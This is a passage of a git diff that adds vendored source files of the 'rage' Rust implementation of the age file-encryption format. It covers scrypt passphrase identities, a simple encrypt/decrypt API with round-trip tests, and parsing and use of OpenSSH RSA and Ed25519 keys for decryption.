SALT_LEN]; + inner_salt[..SCRYPT_SALT_LABEL.len()].copy_from_slice(SCRYPT_SALT_LABEL); + inner_salt[SCRYPT_SALT_LABEL.len()..].copy_from_slice(&salt); + + let enc_key = + scrypt(&inner_salt, self.log_n, self.passphrase.expose_secret()).expect("log_n < 64"); + let encrypted_file_key = aead_encrypt(&enc_key, file_key.expose_secret()); + + let encoded_salt = BASE64_STANDARD_NO_PAD.encode(salt); + + let label = Alphanumeric.sample_string(&mut rng, 32); + + Ok(( + vec![Stanza { + tag: SCRYPT_RECIPIENT_TAG.to_owned(), + args: vec![encoded_salt, format!("{}", self.log_n)], + body: encrypted_file_key, + }], + iter::once(label).collect(), + )) + } +} + +/// A passphrase-based identity. Anyone with the passphrase can decrypt the file. +/// +/// The identity caps the amount of work that the [`Decryptor`] might have to do to +/// process received files. A fairly high default is used (targeting roughly 16 seconds of +/// work per stanza on the current machine), which might not be suitable for systems +/// processing untrusted files. +/// +/// [`Decryptor`]: crate::Decryptor +pub struct Identity { + passphrase: SecretString, + target_work_factor: u8, + max_work_factor: u8, +} + +impl Identity { + /// Constructs a new `Identity` with the given passphrase. + pub fn new(passphrase: SecretString) -> Self { + let target_work_factor = target_scrypt_work_factor(); + + // Place bounds on the work factor we will accept (roughly 16 seconds). + let max_work_factor = target_work_factor + 4; + + Self { + passphrase, + target_work_factor, + max_work_factor, + } + } + + /// Sets the maximum accepted scrypt work factor to `N = 2^max_log_n`. + /// + /// This method must be called before [`Self::unwrap_stanza`] to have an effect. + /// + /// [`Self::unwrap_stanza`]: crate::Identity::unwrap_stanza + pub fn set_max_work_factor(&mut self, max_log_n: u8) { + self.max_work_factor = max_log_n; + } +} + +impl crate::Identity for Identity { + fn unwrap_stanza(&self, stanza: &Stanza) -> Option> { + if stanza.tag != SCRYPT_RECIPIENT_TAG { + return None; + } + + // Enforce valid and canonical stanza format. + // https://c2sp.org/age#scrypt-recipient-stanza + let (salt, log_n) = match &stanza.args[..] { + [salt, log_n] => match ( + base64_arg::<_, SALT_LEN, 18>(salt), + decimal_digit_arg(log_n), + ) { + (Some(salt), Some(log_n)) => (salt, log_n), + _ => return Some(Err(DecryptError::InvalidHeader)), + }, + _ => return Some(Err(DecryptError::InvalidHeader)), + }; + if stanza.body.len() != ENCRYPTED_FILE_KEY_BYTES { + return Some(Err(DecryptError::InvalidHeader)); + } + + if log_n > self.max_work_factor { + return Some(Err(DecryptError::ExcessiveWork { + required: log_n, + target: self.target_work_factor, + })); + } + + let mut inner_salt = [0; SCRYPT_SALT_LABEL.len() + SALT_LEN]; + inner_salt[..SCRYPT_SALT_LABEL.len()].copy_from_slice(SCRYPT_SALT_LABEL); + inner_salt[SCRYPT_SALT_LABEL.len()..].copy_from_slice(&salt); + + let enc_key = match scrypt(&inner_salt, log_n, self.passphrase.expose_secret()) { + Ok(k) => k, + Err(_) => { + return Some(Err(DecryptError::ExcessiveWork { + required: log_n, + target: self.target_work_factor, + })); + } + }; + + // This AEAD is not robust, so an attacker could craft a message that decrypts + // under two different keys (meaning two different passphrases) and then use an + // error side-channel in an online decryption oracle to learn if either key is + // correct. This is deemed acceptable because the use case (an online decryption + // oracle) is not recommended, and the security loss is only one bit. This also + // does not bypass any scrypt work, but that work can be precomputed in an online + // oracle scenario. + Some( + aead_decrypt(&enc_key, FILE_KEY_BYTES, &stanza.body) + .map(|mut pt| { + // It's ours! + FileKey::init_with_mut(|file_key| { + file_key.copy_from_slice(&pt); + pt.zeroize(); + }) + }) + .map_err(DecryptError::from), + ) + } +} diff --git a/lib/rage/age/src/simple.rs b/lib/rage/age/src/simple.rs new file mode 100644 index 0000000..dbf3b1b --- /dev/null +++ b/lib/rage/age/src/simple.rs @@ -0,0 +1,107 @@ +use std::io::{Read, Write}; +use std::iter; + +use crate::{ + error::{DecryptError, EncryptError}, + Decryptor, Encryptor, Identity, Recipient, +}; + +#[cfg(feature = "armor")] +use crate::armor::{ArmoredReader, ArmoredWriter, Format}; + +/// Encrypts the given plaintext to the given recipient. +/// +/// To encrypt to more than one recipient, use [`Encryptor::with_recipients`]. +/// +/// This function returns binary ciphertext. To obtain an ASCII-armored text string, use +/// [`encrypt_and_armor`]. +pub fn encrypt(recipient: &impl Recipient, plaintext: &[u8]) -> Result, EncryptError> { + let encryptor = + Encryptor::with_recipients(iter::once(recipient as _)).expect("we provided a recipient"); + + let mut ciphertext = Vec::with_capacity(plaintext.len()); + let mut writer = encryptor.wrap_output(&mut ciphertext)?; + writer.write_all(plaintext)?; + writer.finish()?; + + Ok(ciphertext) +} + +/// Encrypts the given plaintext to the given recipient, and wraps the ciphertext in ASCII +/// armor. +/// +/// To encrypt to more than one recipient, use [`Encryptor::with_recipients`] along with +/// [`ArmoredWriter`]. +#[cfg(feature = "armor")] +#[cfg_attr(docsrs, doc(cfg(feature = "armor")))] +pub fn encrypt_and_armor( + recipient: &impl Recipient, + plaintext: &[u8], +) -> Result { + let encryptor = + Encryptor::with_recipients(iter::once(recipient as _)).expect("we provided a recipient"); + + let mut ciphertext = Vec::with_capacity(plaintext.len()); + let mut writer = encryptor.wrap_output(ArmoredWriter::wrap_output( + &mut ciphertext, + Format::AsciiArmor, + )?)?; + writer.write_all(plaintext)?; + writer.finish()?.finish()?; + + Ok(String::from_utf8(ciphertext).expect("is armored")) +} + +/// Decrypts the given ciphertext with the given identity. +/// +/// If the `armor` feature flag is enabled, this will also handle armored age ciphertexts. +/// +/// To attempt decryption with more than one identity, use [`Decryptor`] (as well as +/// [`ArmoredReader`] if the `armor` feature flag is enabled). +pub fn decrypt(identity: &impl Identity, ciphertext: &[u8]) -> Result, DecryptError> { + #[cfg(feature = "armor")] + let decryptor = Decryptor::new_buffered(ArmoredReader::new(ciphertext))?; + + #[cfg(not(feature = "armor"))] + let decryptor = Decryptor::new_buffered(ciphertext)?; + + let mut plaintext = vec![]; + let mut reader = decryptor.decrypt(iter::once(identity as _))?; + reader.read_to_end(&mut plaintext)?; + + Ok(plaintext) +} + +#[cfg(test)] +mod tests { + use super::{decrypt, encrypt}; + use crate::x25519; + + #[cfg(feature = "armor")] + use super::encrypt_and_armor; + + #[test] + fn x25519_round_trip() { + let sk: x25519::Identity = crate::x25519::tests::TEST_SK.parse().unwrap(); + let pk: x25519::Recipient = crate::x25519::tests::TEST_PK.parse().unwrap(); + let test_msg = b"This is a test message. For testing."; + + let encrypted = encrypt(&pk, test_msg).unwrap(); + let decrypted = decrypt(&sk, &encrypted).unwrap(); + assert_eq!(&decrypted[..], &test_msg[..]); + } + + #[cfg(feature = "armor")] + #[test] + fn x25519_round_trip_armor() { + let sk: x25519::Identity = crate::x25519::tests::TEST_SK.parse().unwrap(); + let pk: x25519::Recipient = crate::x25519::tests::TEST_PK.parse().unwrap(); + let test_msg = b"This is a test message. For testing."; + + let encrypted = encrypt_and_armor(&pk, test_msg).unwrap(); + assert!(encrypted.starts_with("-----BEGIN AGE ENCRYPTED FILE-----")); + + let decrypted = decrypt(&sk, encrypted.as_bytes()).unwrap(); + assert_eq!(&decrypted[..], &test_msg[..]); + } +} diff --git a/lib/rage/age/src/ssh.rs b/lib/rage/age/src/ssh.rs new file mode 100644 index 0000000..fadab56 --- /dev/null +++ b/lib/rage/age/src/ssh.rs @@ -0,0 +1,577 @@ +//! The "ssh-rsa" and "ssh-ed25519" recipient types, which allow reusing existing SSH keys +//! for encryption with age-encryption.org/v1. +//! +//! These recipient types should only be used for compatibility with existing keys, and +//! native X25519 keys should be preferred otherwise. +//! +//! Note that these recipient types are not anonymous: the encrypted message will include +//! a short 32-bit ID of the public key. + +use aes::{Aes128, Aes192, Aes256}; +use aes_gcm::{AeadCore, Aes256Gcm}; +use age_core::secrecy::{ExposeSecret, SecretString}; +use bcrypt_pbkdf::bcrypt_pbkdf; +use cipher::Unsigned; +use sha2::{Digest, Sha256}; + +use crate::error::DecryptError; + +pub(crate) mod identity; +pub(crate) mod recipient; + +pub use identity::{Identity, UnsupportedKey}; +pub use recipient::{ParseRecipientKeyError, Recipient}; + +pub(crate) const SSH_RSA_KEY_PREFIX: &str = "ssh-rsa"; +pub(crate) const SSH_ED25519_KEY_PREFIX: &str = "ssh-ed25519"; + +pub(super) const SSH_RSA_RECIPIENT_TAG: &str = "ssh-rsa"; +const SSH_RSA_OAEP_LABEL: &str = "age-encryption.org/v1/ssh-rsa"; + +pub(super) const SSH_ED25519_RECIPIENT_TAG: &str = "ssh-ed25519"; +const SSH_ED25519_RECIPIENT_KEY_LABEL: &[u8] = b"age-encryption.org/v1/ssh-ed25519"; + +const TAG_LEN_BYTES: usize = 4; + +type Aes256CbcDec = cbc::Decryptor; +type Aes128Ctr = ctr::Ctr64BE; +type Aes192Ctr = ctr::Ctr64BE; +type Aes256Ctr = ctr::Ctr64BE; + +fn ssh_tag(pubkey: &[u8]) -> [u8; TAG_LEN_BYTES] { + let tag_bytes = Sha256::digest(pubkey); + let mut tag = [0; TAG_LEN_BYTES]; + tag.copy_from_slice(&tag_bytes[..TAG_LEN_BYTES]); + tag +} + +/// OpenSSH-supported ciphers. +#[allow(clippy::enum_variant_names)] +#[derive(Clone, Copy, Debug)] +enum OpenSshCipher { + Aes256Cbc, + Aes128Ctr, + Aes192Ctr, + Aes256Ctr, + Aes256Gcm, +} + +impl OpenSshCipher { + /// Returns the length of the authenticating part of the cipher (the tag of an AEAD). + fn auth_len(self) -> usize { + match self { + OpenSshCipher::Aes256Cbc + | OpenSshCipher::Aes128Ctr + | OpenSshCipher::Aes192Ctr + | OpenSshCipher::Aes256Ctr => 0, + OpenSshCipher::Aes256Gcm => ::TagSize::USIZE, + } + } + + fn decrypt( + self, + kdf: &OpenSshKdf, + p: SecretString, + ct: &[u8], + ) -> Result, DecryptError> { + match self { + OpenSshCipher::Aes256Cbc => decrypt::aes_cbc::(kdf, p, ct), + OpenSshCipher::Aes128Ctr => Ok(decrypt::aes_ctr::(kdf, p, ct)), + OpenSshCipher::Aes192Ctr => Ok(decrypt::aes_ctr::(kdf, p, ct)), + OpenSshCipher::Aes256Ctr => Ok(decrypt::aes_ctr::(kdf, p, ct)), + OpenSshCipher::Aes256Gcm => decrypt::aes_gcm::(kdf, p, ct), + } + } +} + +/// OpenSSH-supported KDFs. +#[derive(Clone, Debug)] +enum OpenSshKdf { + Bcrypt { salt: Vec, rounds: u32 }, +} + +impl OpenSshKdf { + fn derive(&self, passphrase: SecretString, out_len: usize) -> Vec { + match self { + OpenSshKdf::Bcrypt { salt, rounds } => { + let mut output = vec![0; out_len]; + bcrypt_pbkdf(passphrase.expose_secret(), salt, *rounds, &mut output) + .expect("parameters are valid"); + output + } + } + } +} + +/// An encrypted SSH private key. +#[derive(Clone)] +pub struct EncryptedKey { + ssh_key: Vec, + cipher: OpenSshCipher, + kdf: OpenSshKdf, + encrypted: Vec, + filename: Option, +} + +impl EncryptedKey { + /// Decrypts this private key. + pub fn decrypt( + &self, + passphrase: SecretString, + ) -> Result { + let decrypted = self + .cipher + .decrypt(&self.kdf, passphrase, &self.encrypted)?; + + let mut parser = read_ssh::openssh_unencrypted_privkey(&self.ssh_key); + match parser(&decrypted) + .map(|(_, sk)| sk) + .map_err(|_| DecryptError::KeyDecryptionFailed)? + { + Identity::Unencrypted(key) => Ok(key), + Identity::Unsupported(_) => Err(DecryptError::KeyDecryptionFailed), + Identity::Encrypted(_) => unreachable!(), + } + } +} + +mod decrypt { + use aes::cipher::{block_padding::NoPadding, BlockDecryptMut, KeyIvInit, StreamCipher}; + use aes_gcm::aead::{AeadMut, KeyInit}; + use age_core::secrecy::SecretString; + use cipher::generic_array::{ArrayLength, GenericArray}; + + use super::OpenSshKdf; + use crate::error::DecryptError; + + fn derive_key_material, IvSize: ArrayLength>( + kdf: &OpenSshKdf, + passphrase: SecretString, + ) -> (GenericArray, GenericArray) { + let kdf_output = kdf.derive(passphrase, KeySize::USIZE + IvSize::USIZE); + let (key, iv) = kdf_output.split_at(KeySize::USIZE); + ( + GenericArray::from_exact_iter(key.iter().copied()).expect("key is correct length"), + GenericArray::from_exact_iter(iv.iter().copied()).expect("iv is correct length"), + ) + } + + pub(super) fn aes_cbc( + kdf: &OpenSshKdf, + passphrase: SecretString, + ciphertext: &[u8], + ) -> Result, DecryptError> { + let (key, iv) = derive_key_material::(kdf, passphrase); + let cipher = C::new(&key, &iv); + cipher + .decrypt_padded_vec_mut::(ciphertext) + .map_err(|_| DecryptError::KeyDecryptionFailed) + } + + pub(super) fn aes_ctr( + kdf: &OpenSshKdf, + passphrase: SecretString, + ciphertext: &[u8], + ) -> Vec { + let (key, iv) = derive_key_material::(kdf, passphrase); + let mut cipher = C::new(&key, &iv); + let mut plaintext = ciphertext.to_vec(); + cipher.apply_keystream(&mut plaintext); + plaintext + } + + pub(super) fn aes_gcm( + kdf: &OpenSshKdf, + passphrase: SecretString, + ciphertext: &[u8], + ) -> Result, DecryptError> { + let (key, nonce) = derive_key_material::(kdf, passphrase); + let mut cipher = C::new(&key); + cipher + .decrypt(&nonce, ciphertext) + .map_err(|_| DecryptError::KeyDecryptionFailed) + } +} + +mod read_ssh { + use age_core::secrecy::SecretBox; + use curve25519_dalek::edwards::{CompressedEdwardsY, EdwardsPoint}; + use nom::{ + branch::alt, + bytes::complete::{tag, take}, + combinator::{flat_map, map, map_opt, map_parser, map_res, recognize, rest, verify}, + multi::{length_data, length_value}, + number::complete::be_u32, + sequence::{delimited, pair, preceded, terminated, tuple}, + IResult, + }; + use num_traits::Zero; + use rsa::BigUint; + + use super::{ + identity::{UnencryptedKey, UnsupportedKey}, + EncryptedKey, Identity, OpenSshCipher, OpenSshKdf, SSH_ED25519_KEY_PREFIX, + SSH_RSA_KEY_PREFIX, + }; + + /// The SSH `string` [data type](https://tools.ietf.org/html/rfc4251#section-5). + pub(crate) fn string(input: &[u8]) -> IResult<&[u8], &[u8]> { + length_data(be_u32)(input) + } + + /// Recognizes an SSH `string` matching a tag. + #[allow(clippy::needless_lifetimes)] // false positive + pub fn string_tag<'a>(value: &'a str) -> impl Fn(&'a [u8]) -> IResult<&'a [u8], &'a [u8]> { + move |input: &[u8]| length_value(be_u32, tag(value))(input) + } + + /// The SSH `mpint` data type, restricted to non-negative integers. + /// + /// From [RFC 4251](https://tools.ietf.org/html/rfc4251#section-5): + /// ```text + /// Represents multiple precision integers in two's complement format, + /// stored as a string, 8 bits per byte, MSB first. Negative numbers + /// have the value 1 as the most significant bit of the first byte of + /// the data partition. If the most significant bit would be set for + /// a positive number, the number MUST be preceded by a zero byte. + /// Unnecessary leading bytes with the value 0 or 255 MUST NOT be + /// included. The value zero MUST be stored as a string with zero + /// bytes of data. + /// ``` + fn mpint(input: &[u8]) -> IResult<&[u8], BigUint> { + map_opt(string, |bytes| { + if bytes.is_empty() { + Some(BigUint::zero()) + } else { + // Enforce canonicity + let mut non_zero_bytes = bytes; + while non_zero_bytes[0] == 0 { + non_zero_bytes = &non_zero_bytes[1..]; + } + if non_zero_bytes.is_empty() { + // Non-canonical zero + return None; + } + if non_zero_bytes.len() + (non_zero_bytes[0] >> 7) as usize != bytes.len() { + // Negative number or non-canonical positive number + return None; + } + + Some(BigUint::from_bytes_be(bytes)) + } + })(input) + } + + enum CipherResult { + Supported(OpenSshCipher), + Unsupported(String), + } + + /// Parse a cipher and KDF. + fn encryption_header(input: &[u8]) -> IResult<&[u8], Option<(CipherResult, OpenSshKdf)>> { + alt(( + // If either cipher or KDF is None, both must be. + map( + tuple((string_tag("none"), string_tag("none"), string_tag(""))), + |_| None, + ), + map( + tuple(( + alt(( + map(string_tag("aes256-cbc"), |_| { + CipherResult::Supported(OpenSshCipher::Aes256Cbc) + }), + map(string_tag("aes128-ctr"), |_| { + CipherResult::Supported(OpenSshCipher::Aes128Ctr) + }), + map(string_tag("aes192-ctr"), |_| { + CipherResult::Supported(OpenSshCipher::Aes192Ctr) + }), + map(string_tag("aes256-ctr"), |_| { + CipherResult::Supported(OpenSshCipher::Aes256Ctr) + }), + map(string_tag("aes256-gcm@openssh.com"), |_| { + CipherResult::Supported(OpenSshCipher::Aes256Gcm) + }), + map(string, |s| { + CipherResult::Unsupported(String::from_utf8_lossy(s).into_owned()) + }), + )), + map_opt( + preceded( + string_tag("bcrypt"), + map_parser(string, tuple((string, be_u32))), + ), + |(salt, rounds)| { + if salt.is_empty() || rounds == 0 { + // Invalid parameters + None + } else { + Some(OpenSshKdf::Bcrypt { + salt: salt.into(), + rounds, + }) + } + }, + ), + )), + Some, + ), + ))(input) + } + + /// Parses the comment from an OpenSSH privkey and verifies its deterministic padding. + fn comment_and_padding(input: &[u8]) -> IResult<&[u8], &[u8]> { + terminated( + // Comment + string, + // Deterministic padding + verify(rest, |padding: &[u8]| { + padding.iter().enumerate().all(|(i, b)| *b == (i + 1) as u8) + }), + )(input) + } + + /// Internal OpenSSH encoding of an RSA private key. + /// + /// - [OpenSSH serialization code](https://github.com/openssh/openssh-portable/blob/4103a3ec7c68493dbc4f0994a229507e943a86d3/sshkey.c#L3187-L3198) + fn openssh_rsa_privkey(input: &[u8]) -> IResult<&[u8], rsa::RsaPrivateKey> { + delimited( + string_tag(SSH_RSA_KEY_PREFIX), + map_res( + tuple((mpint, mpint, mpint, mpint, mpint, mpint)), + |(n, e, d, _iqmp, p, q)| rsa::RsaPrivateKey::from_components(n, e, d, vec![p, q]), + ), + comment_and_padding, + )(input) + } + + /// Internal OpenSSH encoding of an Ed25519 private key. + /// + /// - [OpenSSH serialization code](https://github.com/openssh/openssh-portable/blob/4103a3ec7c68493dbc4f0994a229507e943a86d3/sshkey.c#L3277-L3283) + fn openssh_ed25519_privkey(input: &[u8]) -> IResult<&[u8], SecretBox<[u8; 64]>> { + delimited( + string_tag(SSH_ED25519_KEY_PREFIX), + map_opt(tuple((string, string)), |(pubkey_bytes, privkey_bytes)| { + if privkey_bytes.len() == 64 && pubkey_bytes == &privkey_bytes[32..64] { + let mut privkey = Box::new([0; 64]); + privkey.copy_from_slice(privkey_bytes); + Some(SecretBox::new(privkey)) + } else { + None + } + }), + comment_and_padding, + )(input) + } + + /// Unencrypted, padded list of private keys. + /// + /// From the [specification](https://github.com/openssh/openssh-portable/blob/master/PROTOCOL.key): + /// ```text + /// uint32 checkint + /// uint32 checkint + /// string privatekey1 + /// string comment1 + /// string privatekey2 + /// string comment2 + /// ... + /// string privatekeyN + /// string commentN + /// char 1 + /// char 2 + /// char 3 + /// ... + /// char padlen % 255 + /// ``` + /// + /// Note however that the `string` type for the private keys is wrong; it should be + /// an opaque type, or the composite type `(string, byte[])`. + /// + /// We only support a single key, like OpenSSH. + #[allow(clippy::needless_lifetimes)] + pub(super) fn openssh_unencrypted_privkey<'a>( + ssh_key: &[u8], + ) -> impl FnMut(&'a [u8]) -> IResult<&'a [u8], Identity> { + // We need to own, move, and clone these in order to keep them alive. + let ssh_key_rsa = ssh_key.to_vec(); + let ssh_key_ed25519 = ssh_key.to_vec(); + + preceded( + // Repeated checkint, intended for verifying correct decryption. + // Don't copy this idea into a new protocol; use an AEAD instead. + map_opt(pair(take(4usize), take(4usize)), |(c1, c2)| { + if c1 == c2 { + Some(c1) + } else { + None + } + }), + alt(( + map(openssh_rsa_privkey, move |sk| { + UnencryptedKey::SshRsa(ssh_key_rsa.clone(), Box::new(sk)).into() + }), + map(openssh_ed25519_privkey, move |privkey| { + UnencryptedKey::SshEd25519(ssh_key_ed25519.clone(), privkey).into() + }), + map(string, |key_type| { + UnsupportedKey::from_key_type(String::from_utf8_lossy(key_type).to_string()) + .into() + }), + )), + ) + } + + /// An OpenSSH-formatted private key. + /// + /// - [Specification](https://github.com/openssh/openssh-portable/blob/master/PROTOCOL.key) + pub(super) fn openssh_privkey(input: &[u8]) -> IResult<&[u8], Identity> { + flat_map( + pair( + preceded(tag(b"openssh-key-v1\x00"), encryption_header), + preceded( + // We only support a single key, like OpenSSH: + // https://github.com/openssh/openssh-portable/blob/4103a3ec/sshkey.c#L4171 + tag(b"\x00\x00\x00\x01"), + string, // The public key in SSH format + ), + ), + openssh_privkey_inner, + )(input) + } + + /// Encrypted, padded list of private keys. + fn openssh_privkey_inner<'a>( + (encryption, ssh_key): (Option<(CipherResult, OpenSshKdf)>, &'a [u8]), + ) -> impl FnMut(&'a [u8]) -> IResult<&'a [u8], Identity> { + // `PROTOCOL.key` specifies that the encrypted list of private keys is encoded as + // a `string`, but this is incorrect when AEAD ciphertexts are used. For what I + // can only assume are backwards-compatibility reasons, the `string` part encodes + // the ciphertext without tag, and the tag is just appended to the encoding. So + // you can only parse the full data structure by interpreting the encryption + // header. + let expected_remainder = encryption.as_ref().map_or(0, |(cipher_res, _)| { + if let CipherResult::Supported(cipher) = cipher_res { + cipher.auth_len() + } else { + 0 + } + }); + + move |input: &[u8]| match &encryption { + None => map_parser(string, openssh_unencrypted_privkey(ssh_key))(input), + Some((cipher_res, kdf)) => map( + map_parser( + recognize(pair(string, take(expected_remainder))), + preceded(be_u32, rest), + ), + |private| match cipher_res { + CipherResult::Supported(cipher) => EncryptedKey { + ssh_key: ssh_key.to_vec(), + cipher: *cipher, + kdf: kdf.clone(), + encrypted: private.to_vec(), + filename: None, + } + .into(), + CipherResult::Unsupported(cipher) => { + UnsupportedKey::EncryptedSsh(cipher.clone()).into() + } + }, + )(input), + } + } + + /// An SSH-encoded RSA public key. + /// + /// From [RFC 4253](https://tools.ietf.org/html/rfc4253#section-6.6): + /// ```text + /// string "ssh-rsa" + /// mpint e + /// mpint n + /// ``` + /// + /// Returns `None` if the modulus is larger than `max_size`. + pub(super) fn rsa_pubkey( + max_size: usize, + ) -> impl Fn(&[u8]) -> IResult<&[u8], Option> { + move |input| { + preceded( + string_tag(SSH_RSA_KEY_PREFIX), + map_res(tuple((mpint, mpint)), |(exponent, modulus)| { + match rsa::RsaPublicKey::new_with_max_size(modulus, exponent, max_size) { + Err(rsa::Error::ModulusTooLarge) => Ok(None), + res => res.map(Some), + } + }), + )(input) + } + } + + /// An SSH-encoded Ed25519 public key. + /// + /// From [draft-ietf-curdle-ssh-ed25519-02](https://tools.ietf.org/html/draft-ietf-curdle-ssh-ed25519-02#section-4): + /// ```text + /// string "ssh-ed25519" + /// string key + /// ``` + pub(super) fn ed25519_pubkey(input: &[u8]) -> IResult<&[u8], EdwardsPoint> { + preceded( + string_tag(SSH_ED25519_KEY_PREFIX), + map_opt(string, |buf| { + CompressedEdwardsY::from_slice(buf) + .ok() + .and_then(|p| p.decompress()) + }), + )(input) + } +} + +mod write_ssh { + use cookie_factory::{bytes::be_u32, combinator::slice, sequence::tuple, SerializeFn}; + use num_traits::identities::Zero; + use rsa::{traits::PublicKeyParts, BigUint}; + use std::io::Write; + + use super::SSH_RSA_KEY_PREFIX; + + /// Writes the SSH `string` data type. + fn string, W: Write>(value: S) -> impl SerializeFn { + tuple((be_u32(value.as_ref().len() as u32), slice(value))) + } + + /// Writes the SSH `mpint` data type. + fn mpint(value: &BigUint) -> impl SerializeFn { + let mut bytes = value.to_bytes_be(); + + // From RFC 4251 section 5: + // If the most significant bit would be set for a positive number, + // the number MUST be preceded by a zero byte. Unnecessary leading + // bytes with the value 0 or 255 MUST NOT be included. The value + // zero MUST be stored as a string with zero bytes of data. + if value.is_zero() { + // BigUint represents zero as vec![0] + bytes = vec![]; + } else if bytes[0] >> 7 != 0 { + bytes.insert(0, 0); + } + + string(bytes) + } + + /// Writes an SSH-encoded RSA public key. + /// + /// From [RFC 4253](https://tools.ietf.org/html/rfc4253#section-6.6): + /// ```text + /// string "ssh-rsa" + /// mpint e + /// mpint n + /// ``` + pub(super) fn rsa_pubkey(pubkey: &rsa::RsaPublicKey) -> impl SerializeFn { + tuple(( + string(SSH_RSA_KEY_PREFIX), + mpint(pubkey.e()), + mpint(pubkey.n()), + )) + } +} diff --git a/lib/rage/age/src/ssh/identity.rs b/lib/rage/age/src/ssh/identity.rs new file mode 100644 index 0000000..0dd43d2 --- /dev/null +++ b/lib/rage/age/src/ssh/identity.rs @@ -0,0 +1,586 @@ +use age_core::{ + format::{FileKey, Stanza, FILE_KEY_BYTES}, + primitives::{aead_decrypt, hkdf}, + secrecy::{ExposeSecret, SecretBox}, +}; +use base64::prelude::BASE64_STANDARD; +use nom::{ + branch::alt, + bytes::streaming::{is_not, tag}, + character::streaming::{line_ending, newline}, + combinator::{map_opt, opt}, + sequence::{pair, preceded, terminated, tuple}, + IResult, +}; +use rand::rngs::OsRng; +use rsa::{pkcs1::DecodeRsaPrivateKey, Oaep}; +use sha2::{Digest, Sha256, Sha512}; +use std::fmt; +use std::io; +use x25519_dalek::{PublicKey as X25519PublicKey, StaticSecret}; +use zeroize::Zeroize; + +use super::{ + read_ssh, ssh_tag, write_ssh, EncryptedKey, SSH_ED25519_RECIPIENT_KEY_LABEL, + SSH_ED25519_RECIPIENT_TAG, SSH_RSA_OAEP_LABEL, SSH_RSA_RECIPIENT_TAG, TAG_LEN_BYTES, +}; +use crate::{ + error::DecryptError, + fl, + util::read::{base64_arg, wrapped_str_while_encoded}, + wfl, wlnfl, Callbacks, +}; + +/// An SSH private key for decrypting an age file. +pub enum UnencryptedKey { + /// An ssh-rsa private key. + SshRsa(Vec, Box), + /// An ssh-ed25519 key pair. + SshEd25519(Vec, SecretBox<[u8; 64]>), +} + +impl Clone for UnencryptedKey { + fn clone(&self) -> Self { + match self { + Self::SshRsa(ssh_key, sk) => Self::SshRsa(ssh_key.clone(), sk.clone()), + Self::SshEd25519(ssh_key, privkey) => Self::SshEd25519( + ssh_key.clone(), + SecretBox::new({ + let mut cloned_privkey = Box::new([0; 64]); + cloned_privkey.copy_from_slice(privkey.expose_secret()); + cloned_privkey + }), + ), + } + } +} + +impl UnencryptedKey { + /// Returns: + /// - `Some(Ok(file_key))` on success. + /// - `Some(Err(e))` if a decryption error occurs. + /// - `None` if the [`Stanza`] does not match this key. + pub(crate) fn unwrap_stanza(&self, stanza: &Stanza) -> Option> { + match (self, stanza.tag.as_str()) { + (UnencryptedKey::SshRsa(ssh_key, sk), SSH_RSA_RECIPIENT_TAG) => { + let tag = base64_arg::<_, TAG_LEN_BYTES, 6>(stanza.args.get(0)?)?; + if ssh_tag(ssh_key) != tag { + return None; + } + + let mut rng = OsRng; + + // A failure to decrypt is fatal, because we assume that we won't + // encounter 32-bit collisions on the key tag embedded in the header. + Some( + sk.decrypt_blinded( + &mut rng, + Oaep::new_with_label::(SSH_RSA_OAEP_LABEL), + &stanza.body, + ) + .map_err(DecryptError::from) + .and_then(|mut pt| { + // It's ours! + FileKey::try_init_with_mut(|file_key| { + let ret = if pt.len() == file_key.len() { + file_key.copy_from_slice(&pt); + Ok(()) + } else { + Err(DecryptError::DecryptionFailed) + }; + pt.zeroize(); + ret + }) + }), + ) + } + (UnencryptedKey::SshEd25519(ssh_key, privkey), SSH_ED25519_RECIPIENT_TAG) => { + let tag = base64_arg::<_, TAG_LEN_BYTES, 6>(stanza.args.get(0)?)?; + if ssh_tag(ssh_key) != tag { + return None; + } + if stanza.body.len() != crate::x25519::ENCRYPTED_FILE_KEY_BYTES { + return Some(Err(DecryptError::InvalidHeader)); + } + + let epk = + base64_arg::<_, { crate::x25519::EPK_LEN_BYTES }, 33>(stanza.args.get(1)?)? + .into(); + + let sk: StaticSecret = { + let mut sk = [0; 32]; + // privkey format is seed || pubkey + sk.copy_from_slice(&Sha512::digest(&privkey.expose_secret()[0..32])[0..32]); + sk.into() + }; + let pk = X25519PublicKey::from(&sk); + + let tweak: StaticSecret = + hkdf(ssh_key, SSH_ED25519_RECIPIENT_KEY_LABEL, &[]).into(); + let shared_secret = tweak + .diffie_hellman(&X25519PublicKey::from(*sk.diffie_hellman(&epk).as_bytes())); + + let mut salt = [0; 64]; + salt[..32].copy_from_slice(epk.as_bytes()); + salt[32..].copy_from_slice(pk.as_bytes()); + + let enc_key = hkdf( + &salt, + SSH_ED25519_RECIPIENT_KEY_LABEL, + shared_secret.as_bytes(), + ); + + // A failure to decrypt is fatal, because we assume that we won't + // encounter 32-bit collisions on the key tag embedded in the header. + Some( + aead_decrypt(&enc_key, FILE_KEY_BYTES, &stanza.body) + .map_err(DecryptError::from) + .map(|mut pt| { + // It's ours! + FileKey::init_with_mut(|file_key| { + file_key.copy_from_slice(&pt); + pt.zeroize(); + }) + }), + ) + } + _ => None, + } + } +} + +/// A key that we know how to parse, but that we do not support. +/// +/// The Display impl provides details for each unsupported key as to why we don't support +/// it, and how a user can migrate to a supported key. +#[derive(Clone, Debug, PartialEq, Eq)] +pub enum UnsupportedKey { + /// An encrypted `PEM` key. + EncryptedPem, + /// An encrypted SSH key using a specific cipher. + EncryptedSsh(String), + /// An SSH key type we believe to be stored on a hardware security key. + Hardware(String), + /// An SSH key type that we do not support. + Type(String), +} + +impl UnsupportedKey { + pub(crate) fn from_key_type(key_type: String) -> Self { + if key_type.starts_with("sk-ssh-") { + Self::Hardware(key_type) + } else { + Self::Type(key_type) + } + } + + /// Prints details about this unsupported key. + pub fn display(&self, f: &mut fmt::Formatter, filename: Option<&str>) -> fmt::Result { + if let Some(name) = filename { + wlnfl!(f, "ssh-unsupported-key", name = name)?; + writeln!(f)?; + } + match self { + UnsupportedKey::EncryptedPem => wfl!( + f, + "ssh-insecure-key-format", + change_passphrase = "ssh-keygen -o -p", + gen_new = "ssh-keygen -o", + )?, + UnsupportedKey::EncryptedSsh(cipher) => { + let new_issue = format!( + "https://github.com/str4d/rage/issues/new?title=Support%20OpenSSH%20key%20encryption%20cipher%20{}", + cipher, + ); + wfl!( + f, + "ssh-unsupported-cipher", + cipher = cipher.as_str(), + new_issue = new_issue.as_str(), + )?; + } + UnsupportedKey::Hardware(key_type) => wfl!( + f, + "ssh-unsupported-security-key", + key_type = key_type.as_str(), + age_plugin_yubikey_url = 